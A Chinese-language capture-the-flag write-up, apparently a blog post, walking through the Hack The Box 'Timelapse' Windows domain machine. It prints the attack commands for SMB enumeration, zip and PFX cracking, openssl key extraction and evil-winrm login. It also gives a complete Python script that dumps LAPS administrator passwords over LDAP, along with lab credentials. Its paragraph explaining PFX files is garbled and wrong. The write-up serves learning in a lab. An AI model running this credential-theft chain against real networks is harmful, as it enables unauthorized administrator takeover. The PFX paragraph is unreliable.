Timelapse

信息收集

做信息收集的时候,发现是一台内网靶机,开放了很多内网相关的端口。我们也发现了一个域名timelapse.htb,我们可以添加到hosts文件中
在这里插入图片描述
目标开放了SMB服务,我们尝试是否可以匿名登录SMB服务。发现可以匿名登录,Shares目录可以进行读取

smbmap -u guest -p "" -H 10.10.11.152

在这里插入图片描述
然后我们尝试匿名登录到这个目录上,看到存在一个备份文件压缩包。我们将其下载下来进行进一步分析

smbclient \\\\10.10.11.152\\Shares -U guest

在这里插入图片描述

漏洞利用

我们下载下来后尝试解压,发现需要密码,我们将其哈希提取出来,并进行密码爆破

zip2john winrm_backup.zip > hash

在这里插入图片描述
发现密码是supremelegacy

john --wordlist=/usr/share/wordlists/rockyou.txt hash

在这里插入图片描述
解压出来发现是一个pfx格式的文件
在这里插入图片描述
这是关于pfx文件的具体解释

文件的扩展名PFX的系统文件,以嵌入到它的加密安全功能特别文件。这些的加密安全功能的.pfx文件包括用来参与确定身份验证过程数字证书的用户或设备都可以访问某些文件,系统本身或者计算机连接的是那些具有管理员权限的网络是否。这些PFX文件需要密码就可以使用Adobe Acrobat X或Adobe Reader中打开之前。这意味着这些PFX文件是保护或保护用户免受黑客,第三方用户的计算机和网络,而无需访问系统和网络资源的同意有益的以及恶意应用程序,指示它来访问这些受保护的资源和数据的代码。 PFX文件可能在Mac和Microsoft Windows系统中找到,并且可用于打开这些应用程序的.pfx文件是使用Adobe Acrobat X和Adobe Reader与Mac或Microsoft Windows环境兼容的版本。

因为pfx文件是经过数字签名加密的,我们可以使用openssl命令进行分析,这里我们同时使用pkcs12文件工具,能生成和分析pkcs12文件。PKCS#12文件可以被用于多个项目,例如包含Netscape、 MSIE 和 MS Outlook。但是我们使用之前破解的密码时发现并不能使用

openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out prv.key

在这里插入图片描述
此时我们需要使用另一个工具pfx2john对该pfx文件的哈希进行导出

pfx2john legacyy_dev_auth.pfx > pfx_hash

在这里插入图片描述
破解得到密码为thuglegacy,记住这个密码,后面我们还需要频繁使用
在这里插入图片描述
我们输入这个破解的密码,得到私钥文件
在这里插入图片描述
然后我们还必须得得到一个证书文件才能用于登录

openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out cert.crt

在这里插入图片描述
因为前面信息收集时发现目标主机开放了5986的WinRM端口,这是用于横向渗透的端口,我们可以使用evil-winrm工具进行连接。-S参数是指ssl参数连接,-c是充当公钥,-k是私钥,-p和-u分别是用户名和密码

evil-winrm -i 10.10.11.152 -S -c cert.crt -k prv.key -p -u

在这里插入图片描述

提权到Administrator

我们上传一个winPEASx64.exe程序查看可提权的项
在这里插入图片描述
我们看到存在一个powershell的历史文件
在这里插入图片描述
我们可以尝试下载看看其内容
在这里插入图片描述
查看文件内容时,发现里面存在一个用户名svc_deploy和密码E3R$Q62^12p7PLlC%KWaxuaV
在这里插入图片描述
我们可以使用laps.py脚本,对域的计算机的本地帐户密码进行导出

#!/usr/bin/env python3
from ldap3 import ALL, Server, Connection, NTLM, extend, SUBTREE
import argparse

parser = argparse.ArgumentParser(description='Dump LAPS Passwords')
parser.add_argument('-u','--username',  help='username for LDAP', required=True)
parser.add_argument('-p','--password',  help='password for LDAP (or LM:NT hash)',required=True)
parser.add_argument('-l','--ldapserver', help='LDAP server (or domain)', required=False)
parser.add_argument('-d','--domain', help='Domain', required=True)

def base_creator(domain):
    search_base = ""
    base = domain.split(".")
    for b in base:
        search_base += "DC=" + b + ","
    return search_base[:-1]


def main():
    args = parser.parse_args()
    if args.ldapserver:
        s = Server(args.ldapserver, get_info=ALL)
    else:
        s = Server(args.domain, get_info=ALL)
    c = Connection(s, user=args.domain + "\\" + args.username, password=args.password, authentication=NTLM, auto_bind=True)
    c.search(search_base=base_creator(args.domain), search_filter='(&(objectCategory=computer)(ms-MCS-AdmPwd=*))',attributes=['ms-MCS-AdmPwd','SAMAccountname'])
    for entry in c.entries:
        print (str(entry['sAMAccountName']) +":"+ str(entry['ms-Mcs-AdmPwd']))

if __name__ == "__main__":
    main()

最后我们得到管理员的密码
在这里插入图片描述
成功获取到管理员权限
在这里插入图片描述

评论 15
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

平凡的学者

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值